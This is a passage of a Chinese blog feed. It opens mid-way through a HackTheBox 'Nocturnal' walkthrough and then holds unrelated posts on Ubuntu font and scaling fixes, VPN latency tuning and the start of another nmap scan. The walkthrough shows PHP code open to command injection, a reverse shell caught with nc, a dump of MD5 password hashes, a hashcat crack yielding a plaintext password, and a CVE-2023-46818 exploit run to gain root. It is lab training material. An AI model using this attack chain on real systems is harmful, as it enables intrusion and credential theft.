&quot;backups&#x2F;backup_&quot; . date(&#39;Y-m-d&#39;) . &quot;.zip&quot;;    if ($password &#x3D;&#x3D;&#x3D; false) &#123;        echo &quot;&lt;div class&#x3D;&#39;error-message&#39;&gt;Error: Try another password.&lt;&#x2F;div&gt;&quot;;    &#125; else &#123;        $logFile &#x3D; &#39;&#x2F;tmp&#x2F;backup_&#39; . uniqid() . &#39;.log&#39;;               $command &#x3D; &quot;zip -x &#39;.&#x2F;backups&#x2F;*&#39; -r -P &quot; . $password . &quot; &quot; . $backupFile . &quot; .  &gt; &quot; . $logFile . &quot; 2&gt;&amp;1 &amp;&quot;;                $descriptor_spec &#x3D; [            0 &#x3D;&gt; [&quot;pipe&quot;, &quot;r&quot;], &#x2F;&#x2F; stdin            1 &#x3D;&gt; [&quot;file&quot;, $logFile, &quot;w&quot;], &#x2F;&#x2F; stdout            2 &#x3D;&gt; [&quot;file&quot;, $logFile, &quot;w&quot;], &#x2F;&#x2F; stderr        ];        $process &#x3D; proc_open($command, $descriptor_spec, $pipes);        if (is_resource($process)) &#123;            proc_close($process);        &#125;&lt;...&gt;</code></pre><h3 id="命令注入"><a href="#命令注入" class="headerlink" title="命令注入"></a>命令注入</h3><p>可以看到执行id命令成功</p><img src="/posts/5cd9a843/image-20250419170350593.png" class="" title="burp"><p>下载反弹shell的脚本</p><img src="/posts/5cd9a843/image-20250419211424366.png" class="" title="burp"><p>执行脚本</p><img src="/posts/5cd9a843/image-20250419211229272.png" class="" title="burp"><p>成功接收到shell</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">nc</span> <span class="token parameter variable">-lvnp</span> <span class="token number">9001</span>                          Listening on <span class="token number">0.0</span>.0.0 <span class="token number">9001</span>Connection received on <span class="token number">10.10</span>.11.64 <span class="token number">40554</span>/bin/sh: <span class="token number">0</span>: can't access <span class="token function">tty</span><span class="token punctuation">;</span> job control turned off$ <span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">33</span><span class="token punctuation">(</span>www-data<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">33</span><span class="token punctuation">(</span>www-data<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">33</span><span class="token punctuation">(</span>www-data<span class="token punctuation">)</span></code></pre><h3 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h3><p>在&#x2F;var&#x2F;www 目录下可以找到ispconfig文件和nocturnal_database.db并且存在密码hash，在home目录下存在用户tobias</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token builtin class-name">pwd</span>/var/www/nocturnal.htb$ <span class="token builtin class-name">cd</span> <span class="token punctuation">..</span>$ <span class="token function">ls</span>htmlispconfignocturnal.htbnocturnal_databasephp-fcgi-scripts$ strings nocturnal_database.db SQLite <span class="token function">format</span> <span class="token number">3</span><span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>indexsqlite_autoindex_users_1usersMtestrefe8de352cd483af54ec60595508e54e,Madmin123e6e061838856bf47e1de730719fb2609<span class="token punctuation">(</span>Mtest098f6bcd4621d373cade4e832627b4f6<span class="token punctuation">)</span>Me0Al5101ad4543a96a7fd84908fd0d802e7db<span class="token punctuation">(</span>Mkavif38cde1654b39fea2bd4f72f1ae4cdda*Mtobias55c82b1ccd55ab219b3b109b07d5061d*Mamandadf8b20aa0c935023f99ea58358fb63c4<span class="token punctuation">)</span>Madmind725aeba143f575736b07e045d8ceebbtestradmin123<span class="token builtin class-name">test</span>e0Al5kavitobiasamanda<span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>$ <span class="token function">ls</span> /hometobias</code></pre><h3 id="密码破解"><a href="#密码破解" class="headerlink" title="密码破解"></a>密码破解</h3><p>使用hashcat 破解密码</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ hashcat <span class="token builtin class-name">hash</span> <span class="token parameter variable">-a</span> <span class="token number">0</span> <span class="token parameter variable">-m</span> <span class="token number">0</span>  /opt/secLists/rockyou.txt    hashcat <span class="token punctuation">(</span>v6.2.6<span class="token punctuation">)</span> starting<span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>Dictionary cache built:* Filename<span class="token punctuation">..</span>: /opt/secLists/rockyou.txt* Passwords.: <span class="token number">14344391</span>* Bytes<span class="token punctuation">..</span><span class="token punctuation">..</span>.: <span class="token number">139921497</span>* Keyspace<span class="token punctuation">..</span>: <span class="token number">14344384</span>* Runtime<span class="token punctuation">..</span>.: <span class="token number">0</span> secs55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse                                                               Session<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: hashcatStatus<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>.: CrackedHash.Mode<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">0</span> <span class="token punctuation">(</span>MD5<span class="token punctuation">)</span>Hash.Target<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: 55c82b1ccd55ab219b3b109b07d5061dTime.Started<span class="token punctuation">..</span><span class="token punctuation">..</span>.: Sat Apr <span class="token number">19</span> <span class="token number">21</span>:41:24 <span class="token number">2025</span> <span class="token punctuation">(</span><span class="token number">1</span> sec<span class="token punctuation">)</span>Time.Estimated<span class="token punctuation">..</span>.: Sat Apr <span class="token number">19</span> <span class="token number">21</span>:41:25 <span class="token number">2025</span> <span class="token punctuation">(</span><span class="token number">0</span> secs<span class="token punctuation">)</span>Kernel.Feature<span class="token punctuation">..</span>.: Pure KernelGuess.Base<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>.: File <span class="token punctuation">(</span>/opt/secLists/rockyou.txt<span class="token punctuation">)</span>Guess.Queue<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">1</span>/1 <span class="token punctuation">(</span><span class="token number">100.00</span>%<span class="token punctuation">)</span>Speed.<span class="token comment">#1.........: 14555.5 kH/s (0.17ms) @ Accel:1024 Loops:1 Thr:1 Vec:16</span>Recovered<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">1</span>/1 <span class="token punctuation">(</span><span class="token number">100.00</span>%<span class="token punctuation">)</span> Digests <span class="token punctuation">(</span>total<span class="token punctuation">)</span>, <span class="token number">1</span>/1 <span class="token punctuation">(</span><span class="token number">100.00</span>%<span class="token punctuation">)</span> Digests <span class="token punctuation">(</span>new<span class="token punctuation">)</span>Progress<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>.: <span class="token number">3702784</span>/14344384 <span class="token punctuation">(</span><span class="token number">25.81</span>%<span class="token punctuation">)</span>Rejected<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>.: <span class="token number">0</span>/3702784 <span class="token punctuation">(</span><span class="token number">0.00</span>%<span class="token punctuation">)</span>Restore.Point<span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">3686400</span>/14344384 <span class="token punctuation">(</span><span class="token number">25.70</span>%<span class="token punctuation">)</span>Restore.Sub.<span class="token comment">#1...: Salt:0 Amplifier:0-1 Iteration:0-1</span>Candidate.Engine.: Device GeneratorCandidates.<span class="token comment">#1....: smartpimps -> slaton01</span>Hardware.Mon.<span class="token comment">#1..: Temp: 62c Util:  6%</span>Started: Sat Apr <span class="token number">19</span> <span class="token number">21</span>:41:09 <span class="token number">2025</span>Stopped: Sat Apr <span class="token number">19</span> <span class="token number">21</span>:41:25 <span class="token number">2025</span></code></pre><h3 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h3><p>使用破解出的密码登录ssh，可以找到ispconfig服务运行在8080</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">ssh</span> tobias@nocturnal.htb                                                                                                                              tobias@nocturnal.htb's password: <span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span>Last login: Sat Apr <span class="token number">19</span> <span class="token number">13</span>:24:43 <span class="token number">2025</span> from <span class="token number">10.10</span>.16.24tobias@nocturnal:~$ <span class="token function">whoami</span>tobiastobias@nocturnal:~$ <span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>tobias<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>tobias<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>tobias<span class="token punctuation">)</span>tobias@nocturnal:/var/www$ <span class="token function">ls</span> <span class="token parameter variable">-la</span>total <span class="token number">24</span>drwxr-xr-x  <span class="token number">6</span> ispconfig ispconfig <span class="token number">4096</span> Apr <span class="token number">14</span> 09:26 <span class="token builtin class-name">.</span>drwxr-xr-x <span class="token number">14</span> root      root      <span class="token number">4096</span> Oct <span class="token number">18</span>  <span class="token number">2024</span> <span class="token punctuation">..</span>drwxr-xr-x  <span class="token number">2</span> root      root      <span class="token number">4096</span> Mar  <span class="token number">4</span> <span class="token number">15</span>:02 htmllrwxrwxrwx  <span class="token number">1</span> root      root        <span class="token number">34</span> Oct <span class="token number">17</span>  <span class="token number">2024</span> ispconfig -<span class="token operator">></span> /usr/local/ispconfig/interface/webdrwxr-xr-x  <span class="token number">2</span> www-data  www-data  <span class="token number">4096</span> Apr <span class="token number">19</span> 09:22 nocturnal_databasedrwxr-xr-x  <span class="token number">4</span> www-data  www-data  <span class="token number">4096</span> Apr <span class="token number">19</span> <span class="token number">13</span>:20 nocturnal.htbdrwxr-xr-x  <span class="token number">4</span> ispconfig ispconfig <span class="token number">4096</span> Oct <span class="token number">17</span>  <span class="token number">2024</span> php-fcgi-scriptstobias@nocturnal:/var/www$ <span class="token function">sudo</span> <span class="token parameter variable">-l</span><span class="token punctuation">[</span>sudo<span class="token punctuation">]</span> password <span class="token keyword">for</span> tobias: Sorry, user tobias may not run <span class="token function">sudo</span> on nocturnal.tobias@nocturnal:/var/www$ ss <span class="token parameter variable">-aunt</span>Netid           State            Recv-Q           Send-Q                     Local Address:Port                      Peer Address:Port           Process           udp             UNCONN           <span class="token number">0</span>                <span class="token number">0</span>                          <span class="token number">127.0</span>.0.53%lo:53                             <span class="token number">0.0</span>.0.0:*                                tcp             LISTEN           <span class="token number">0</span>                <span class="token number">10</span>                             <span class="token number">127.0</span>.0.1:25                             <span class="token number">0.0</span>.0.0:*                                tcp             LISTEN           <span class="token number">0</span>                <span class="token number">70</span>                             <span class="token number">127.0</span>.0.1:33060                          <span class="token number">0.0</span>.0.0:*                                tcp             LISTEN           <span class="token number">0</span>                <span class="token number">151</span>                            <span class="token number">127.0</span>.0.1:3306                           <span class="token number">0.0</span>.0.0:*                                tcp             LISTEN           <span class="token number">0</span>                <span class="token number">10</span>                             <span class="token number">127.0</span>.0.1:587                            <span class="token number">0.0</span>.0.0:*                                tcp             LISTEN           <span class="token number">0</span>                <span class="token number">4096</span>                           <span class="token number">127.0</span>.0.1:8080                           <span class="token number">0.0</span>.0.0:*                                tcp             LISTEN           <span class="token number">0</span>                <span class="token number">511</span>                              <span class="token number">0.0</span>.0.0:80                             <span class="token number">0.0</span>.0.0:*                                tcp             LISTEN           <span class="token number">0</span>                <span class="token number">4096</span>                       <span class="token number">127.0</span>.0.53%lo:53                             <span class="token number">0.0</span>.0.0:*                                tcp             LISTEN           <span class="token number">0</span>                <span class="token number">128</span>                              <span class="token number">0.0</span>.0.0:22                             <span class="token number">0.0</span>.0.0:*                                tcp             ESTAB            <span class="token number">0</span>                <span class="token number">36</span>                           <span class="token number">10.10</span>.11.64:22                         <span class="token number">10.10</span>.16.24:41832                            tcp             ESTAB            <span class="token number">0</span>                <span class="token number">0</span>                            <span class="token number">10.10</span>.11.64:40554                      <span class="token number">10.10</span>.16.24:9001                             tcp             LISTEN           <span class="token number">0</span>                <span class="token number">128</span>                                 <span class="token punctuation">[</span>::<span class="token punctuation">]</span>:22                                <span class="token punctuation">[</span>::<span class="token punctuation">]</span>:*            </code></pre><p>使用ssh 进行本地端口转发<code>ssh tobias@nocturnal.htb -L 8081:127.0.0.1:8080</code></p><p>访问本地8081端口，可以看到ispconfig</p><img src="/posts/5cd9a843/image-20250419214933108.png" class="" title="ispconfig"><p>使用admin和破解出的密码的登录，登录成功，找到版本号为3.2.10p1</p><img src="/posts/5cd9a843/image-20250419215703693.png" class="" title="ispconfig"><p>搜索exp，找到CVE-2023-46818，在github检索利用脚本</p><img src="/posts/5cd9a843/image-20250419220423834.png" class="" title="exp"><img src="/posts/5cd9a843/image-20250419220537140.png" class="" title="github"><p>提权成功</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ python3 exploit.py http://127.0.0.1:8081 admin slowmotionapocalypse<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Target URL: http://127.0.0.1:8081/<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Logging <span class="token keyword">in</span> with username <span class="token string">'admin'</span> and password <span class="token string">'slowmotionapocalypse'</span><span class="token punctuation">[</span>+<span class="token punctuation">]</span> Injecting shell<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Launching shellispconfig-shell<span class="token comment"># id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span>ispconfig-shell<span class="token comment"># cat /root/root.txt</span></code></pre><table><thead><tr><th>Flag</th><th>Path</th></tr></thead><tbody><tr><td>Flag1</td><td>&#x2F;home&#x2F;tobias&#x2F;user.txt</td></tr><tr><td>Flag2</td><td>&#x2F;root&#x2F;root.txt</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">&lt;style&gt;.amjdbqdkyvyr{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/5cd9a843/f6a56cec6e9826b4ed124fb4155abc66.png&quot; class=&quot;amjdbqdkyvyr&quot;&gt;</summary>
    
    
    
    <category term="Hackthebox" scheme="https://ry0ma24.github.io/categories/Hackthebox/"/>
    
    
    <category term="CVE" scheme="https://ry0ma24.github.io/tags/CVE/"/>
    
    <category term="密码重用" scheme="https://ry0ma24.github.io/tags/%E5%AF%86%E7%A0%81%E9%87%8D%E7%94%A8/"/>
    
    <category term="越权" scheme="https://ry0ma24.github.io/tags/%E8%B6%8A%E6%9D%83/"/>
    
    <category term="命令注入" scheme="https://ry0ma24.github.io/tags/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5/"/>
    
  </entry>
  
  <entry>
    <title>Ubuntu 24.04 应用、字体及截图模糊解决方案</title>
    <link href="https://ry0ma24.github.io/posts/4e8c8a3d.html"/>
    <id>https://ry0ma24.github.io/posts/4e8c8a3d.html</id>
    <published>2025-04-16T15:24:55.000Z</published>
    <updated>2025-04-25T14:43:44.517Z</updated>
    
    <content type="html"><![CDATA[<h3 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h3><p>Ubuntu 24.04 默认使用Wayland 作为窗口管理器，当 GNOME 桌面设置分数倍缩放后，截图和一些应用会变得模糊，如vscode、Pycharm、typra ，截图更是难崩</p><span id="more"></span><img src="/posts/4e8c8a3d/image-20250416234351672.png" class=""><h3 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h3><p>方法有两个：</p><h4 id="1-使用X11-替换Wayland"><a href="#1-使用X11-替换Wayland" class="headerlink" title="1. 使用X11 替换Wayland"></a>1. 使用X11 替换Wayland</h4><p>修改<code>/etc/gdm3/custom.conf</code> 将 <code>WaylandEnable=false</code>  前面的注释去掉，然后<code>sudo systemctl restart gdm3 </code>重启服务</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token comment">#</span><span class="token comment"># See /usr/share/gdm/gdm.schemas for a list of available options.</span><span class="token punctuation">[</span>daemon<span class="token punctuation">]</span><span class="token comment"># Uncomment the line below to force the login screen to use Xorg</span><span class="token assign-left variable">WaylandEnable</span><span class="token operator">=</span>false<span class="token comment"># Enabling automatic login</span><span class="token comment">#  AutomaticLoginEnable = true</span><span class="token comment">#  AutomaticLogin = user1</span><span class="token comment"># Enabling timed login</span><span class="token comment">#  TimedLoginEnable = true</span><span class="token comment">#  TimedLogin = user1</span><span class="token comment">#  TimedLoginDelay = 10</span><span class="token operator">&lt;</span><span class="token punctuation">..</span>.<span class="token operator">></span></code></pre><p>效果</p><img src="/posts/4e8c8a3d/image-20250416233209537.png" class=""><h4 id="2-使用如下命令（没试过，不知道是否有效）"><a href="#2-使用如下命令（没试过，不知道是否有效）" class="headerlink" title="2. 使用如下命令（没试过，不知道是否有效）"></a>2. 使用如下命令（没试过，不知道是否有效）</h4><p>可以开启 Wayland 会话、X11 会话的分数倍缩放，并且在 Wayland 下使用分数倍缩放的时候，应用程序不模糊</p><pre class="language-bash" data-language="bash"><code class="language-bash">gsettings <span class="token builtin class-name">set</span> org.gnome.mutter experimental-features <span class="token string">"['scale-monitor-framebuffer', 'x11-randr-fractional-scaling', 'xwayland-native-scaling']"</span></code></pre>]]></content>
    
    
    <summary type="html">&lt;h3 id=&quot;背景&quot;&gt;&lt;a href=&quot;#背景&quot; class=&quot;headerlink&quot; title=&quot;背景&quot;&gt;&lt;/a&gt;背景&lt;/h3&gt;&lt;p&gt;Ubuntu 24.04 默认使用Wayland 作为窗口管理器，当 GNOME 桌面设置分数倍缩放后，截图和一些应用会变得模糊，如vscode、Pycharm、typra ，截图更是难崩&lt;/p&gt;</summary>
    
    
    
    <category term="OS优化" scheme="https://ry0ma24.github.io/categories/OS%E4%BC%98%E5%8C%96/"/>
    
    
    <category term="OS" scheme="https://ry0ma24.github.io/tags/OS/"/>
    
  </entry>
  
  <entry>
    <title>Ubuntu 24.04 中文字体渲染</title>
    <link href="https://ry0ma24.github.io/posts/45016815.html"/>
    <id>https://ry0ma24.github.io/posts/45016815.html</id>
    <published>2025-04-16T05:21:00.000Z</published>
    <updated>2025-04-25T08:44:00.909Z</updated>
    
    <content type="html"><![CDATA[<img src="/posts/45016815/image-20250416104913620.png" class=""><span id="more"></span><h3 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h3><p>近期入手了一台2.8k屏幕的新本，安装了ubuntu24.04 在系统语言默认为英文时，中文字体看着非常别扭，有些字体甚至出现半格情况，比如<code>复</code> ，查了一些资料原因是字体显示优先级的问题，解决方案修改字体优先级即可</p><h3 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h3><p>进入<code>/usr/share/fontconfig/conf.avail</code> 目录，打开<code>64-language-selector-cjk-prefer.conf</code> 文件可以看到CJK (是中文、日文和韩文的字母缩写) 顺序日式中文优先级高于简体中文。直接调换位置将简体中文放到最先。</p><pre class="language-none"><code class="language-none">&lt;?xml version&#x3D;&quot;1.0&quot;?&gt;&lt;!DOCTYPE fontconfig SYSTEM &quot;fonts.dtd&quot;&gt;&lt;fontconfig&gt;        &lt;alias&gt;                &lt;family&gt;sans-serif&lt;&#x2F;family&gt;                &lt;prefer&gt;                        &lt;family&gt;Noto Sans CJK JP&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans CJK KR&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans CJK SC&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans CJK TC&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans CJK HK&lt;&#x2F;family&gt;                &lt;&#x2F;prefer&gt;        &lt;&#x2F;alias&gt;        &lt;alias&gt;                &lt;family&gt;serif&lt;&#x2F;family&gt;                &lt;prefer&gt;                        &lt;family&gt;Noto Serif CJK JP&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Serif CJK KR&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Serif CJK SC&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Serif CJK TC&lt;&#x2F;family&gt;                &lt;&#x2F;prefer&gt;        &lt;&#x2F;alias&gt;        &lt;alias&gt;                &lt;family&gt;monospace&lt;&#x2F;family&gt;                &lt;prefer&gt;                        &lt;family&gt;Noto Sans Mono CJK JP&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans Mono CJK KR&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans Mono CJK SC&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans Mono CJK TC&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans Mono CJK HK&lt;&#x2F;family&gt;                &lt;&#x2F;prefer&gt;        &lt;&#x2F;alias&gt;&lt;&#x2F;fontconfig&gt;</code></pre><p>修改后</p><pre class="language-none"><code class="language-none">&lt;?xml version&#x3D;&quot;1.0&quot;?&gt;&lt;!DOCTYPE fontconfig SYSTEM &quot;fonts.dtd&quot;&gt;&lt;fontconfig&gt;        &lt;alias&gt;                &lt;family&gt;sans-serif&lt;&#x2F;family&gt;                &lt;prefer&gt;                        &lt;family&gt;Noto Sans CJK SC&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans CJK KR&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans CJK JP&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans CJK TC&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans CJK HK&lt;&#x2F;family&gt;                &lt;&#x2F;prefer&gt;        &lt;&#x2F;alias&gt;        &lt;alias&gt;                &lt;family&gt;serif&lt;&#x2F;family&gt;                &lt;prefer&gt;                        &lt;family&gt;Noto Serif CJK SC&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Serif CJK KR&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Serif CJK JP&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Serif CJK TC&lt;&#x2F;family&gt;                &lt;&#x2F;prefer&gt;        &lt;&#x2F;alias&gt;        &lt;alias&gt;                &lt;family&gt;monospace&lt;&#x2F;family&gt;                &lt;prefer&gt;                        &lt;family&gt;Noto Sans Mono CJK SC&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans Mono CJK KR&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans Mono CJK JP&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans Mono CJK TC&lt;&#x2F;family&gt;                        &lt;family&gt;Noto Sans Mono CJK HK&lt;&#x2F;family&gt;                &lt;&#x2F;prefer&gt;        &lt;&#x2F;alias&gt;&lt;&#x2F;fontconfig&gt;</code></pre><p>效果</p><img src="/posts/45016815/image-20250416133422397.png" class="" title="image-20250416133422397">]]></content>
    
    
    <summary type="html">&lt;img src=&quot;/posts/45016815/image-20250416104913620.png&quot; class=&quot;&quot;&gt;</summary>
    
    
    
    <category term="OS优化" scheme="https://ry0ma24.github.io/categories/OS%E4%BC%98%E5%8C%96/"/>
    
    
    <category term="OS" scheme="https://ry0ma24.github.io/tags/OS/"/>
    
  </entry>
  
  <entry>
    <title>HackTheBox 网络延迟优化</title>
    <link href="https://ry0ma24.github.io/posts/2450b230.html"/>
    <id>https://ry0ma24.github.io/posts/2450b230.html</id>
    <published>2025-04-10T12:00:20.000Z</published>
    <updated>2025-04-25T14:19:11.059Z</updated>
    
    <content type="html"><![CDATA[<img src="/posts/2450b230/image-20250411140726536.png" class=""><span id="more"></span><h3 id="1-优化结果"><a href="#1-优化结果" class="headerlink" title="1. 优化结果"></a>1. 优化结果</h3><h4 id="网络优化前"><a href="#网络优化前" class="headerlink" title="网络优化前"></a>网络优化前</h4><img src="/posts/2450b230/image-20250410225239612.png" class="" title="延迟"><h4 id="网络优化后"><a href="#网络优化后" class="headerlink" title="网络优化后"></a>网络优化后</h4><img src="/posts/2450b230/image-20250410230011943.png" class="" title="延迟"><h3 id="2-操作步骤"><a href="#2-操作步骤" class="headerlink" title="2. 操作步骤"></a>2. 操作步骤</h3><h4 id="1-选择节点"><a href="#1-选择节点" class="headerlink" title="1.选择节点"></a>1.选择节点</h4><p>最好选择新加坡节点并且选择TCP 443</p><img src="/posts/2450b230/image-20250410230624757.png" class="" title="OpenVPN节点"><h4 id="2-配置VPN文件"><a href="#2-配置VPN文件" class="headerlink" title="2. 配置VPN文件"></a>2. 配置VPN文件</h4><p>打开下载的VPN配置文件，可以看到远程地址为hackthebox.eu，在配置文件中添加代理，使OpenVPN 通过代理接入hackthebox</p><p>http代理：http-proxy  ip port</p><p>socks5 代理：socks-proxy ip port </p><img src="/posts/2450b230/image-20250410234918886.png" class="" title="OpenVPN配置"><h4 id="3-代理配置"><a href="#3-代理配置" class="headerlink" title="3.代理配置"></a>3.代理配置</h4><h5 id="Shadowrocket"><a href="#Shadowrocket" class="headerlink" title="Shadowrocket"></a>Shadowrocket</h5><p>节点最好启用新加坡节点和hackthebox保持一致，确保全局路由为配置，后面会修改配置文件</p><img src="/posts/2450b230/image-20250410231454084.png" class="" title="shadowrocket配置"><p>编辑已经启用的配置文件</p><img src="/posts/2450b230/8bc936b78cd0d13f554c9222008a49c1.jpg" class="" title="shadowrocket配置"><p>选中规则并添加</p><img src="/posts/2450b230/cb12c060679dc74320061baa709f7a34.jpg" class="" title="shadowrocket配置"><p>类型选择<code>DOMAIN-KEYWORD</code> 策略选择<code>PROXY</code> 域名填写 hackthebox 这个就是OpenVPN配置文件中那个域名，如果是使用pwnbox的话，可以把<code>htb</code> 添加到域名那栏</p><img src="/posts/2450b230/227a91d96734bec314c24413838c530f.jpg" class="" title="shadowrocket配置"><p>注意保存，确保规则有效</p><img src="/posts/2450b230/43ad2ecee9d2edc8fa497daf420769fd.jpg" class="" title="shadowrocket配置"><p>打开代理共享，并将地址配置到OpenVPN配置文件中</p><img src="/posts/2450b230/1e6f487557bb177f8be2a20e335b4ade.jpg" class="" title="shadowrocket配置"><h5 id="Clash"><a href="#Clash" class="headerlink" title="Clash"></a>Clash</h5><p>在Clash设置中启用<code>虚拟网卡模式</code>  端口设置中打开<code>SOCKS代理端口</code>  </p><img src="/posts/2450b230/image-20250410232456699.png" class="" title="clash配置"><p>打开订阅，右键<code>订阅文件</code>点击<code>编辑规则</code></p><img src="/posts/2450b230/image-20250410234047925.png" class="" title="clash配置"><p>在编辑规则中 ：规则类型选择<code>DOMAIN-KEYWORD</code> ，代理策略选择代理组，规则内容填写 hackthebox</p><img src="/posts/2450b230/image-20250410234207924.png" class="" title="clash配置"><p>代理组的选择取决于订阅，节点依旧选择同地区，注意更新订阅可能会覆盖自定义规则</p><img src="/posts/2450b230/image-20250410234325521.png" class="" title="clash配置">]]></content>
    
    
    <summary type="html">&lt;img src=&quot;/posts/2450b230/image-20250411140726536.png&quot; class=&quot;&quot;&gt;</summary>
    
    
    
    <category term="Hackthebox" scheme="https://ry0ma24.github.io/categories/Hackthebox/"/>
    
    
    <category term="HTB网络延迟优化" scheme="https://ry0ma24.github.io/tags/HTB%E7%BD%91%E7%BB%9C%E5%BB%B6%E8%BF%9F%E4%BC%98%E5%8C%96/"/>
    
  </entry>
  
  <entry>
    <title>HTB-Previse</title>
    <link href="https://ry0ma24.github.io/posts/21913e3f.html"/>
    <id>https://ry0ma24.github.io/posts/21913e3f.html</id>
    <published>2025-04-04T06:00:17.000Z</published>
    <updated>2025-04-25T08:44:00.918Z</updated>
    
    <content type="html"><![CDATA[<style>.kvutcturomws{zoom:50%;}</style><img src="/posts/21913e3f/e3c542ada4b134e29e534e3081ef9650.png" class="kvutcturomws"><span id="more"></span><table><thead><tr><th>OS</th><th>Difficulty</th></tr></thead><tbody><tr><td>Linux</td><td>Easy</td></tr></tbody></table><h3 id="Nmap-Scan"><a href="#Nmap-Scan" class="headerlink" title="Nmap Scan"></a>Nmap Scan</h3><pre class="language-bash" data-language="bash"><code class="language-bash">$ nmap <span class="token number">10.10</span>.11.104 <span class="token parameter variable">-sC</span> <span class="token parameter variable">-sV</span> -p- <span class="token parameter variable">-T4</span> --min-rate <span class="token number">1000</span> Starting Nmap <span class="token number">7.95</span> <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at <span class="token number">2025</span>-04-04 <span class="token number">14</span>:00 CSTNmap scan report <span class="token keyword">for</span> <span class="token number">10.10</span>.11.104Host is up <span class="token punctuation">(</span><span class="token number">0</span>.13s latency<span class="token punctuation">)</span>.Not shown: <span class="token number">65533</span> closed tcp ports <span class="token punctuation">(</span>reset<span class="token punctuation">)</span>PORT   STATE SERVICE VERSION<span class="token number">22</span>/tcp <span class="token function">open</span>  <span class="token function">ssh</span>     OpenSSH <span class="token number">7</span>.6p1 Ubuntu 4ubuntu0.3 <span class="token punctuation">(</span>Ubuntu Linux<span class="token punctuation">;</span> protocol <span class="token number">2.0</span><span class="token punctuation">)</span><span class="token operator">|</span> ssh-hostkey: <span class="token operator">|</span>   <span class="token number">2048</span> <span class="token number">53</span>:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 <span class="token punctuation">(</span>RSA<span class="token punctuation">)</span><span class="token operator">|</span>   <span class="token number">256</span> bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 <span class="token punctuation">(</span>ECDSA<span class="token punctuation">)</span><span class="token operator">|</span>_  <span class="token number">256</span> <span class="token 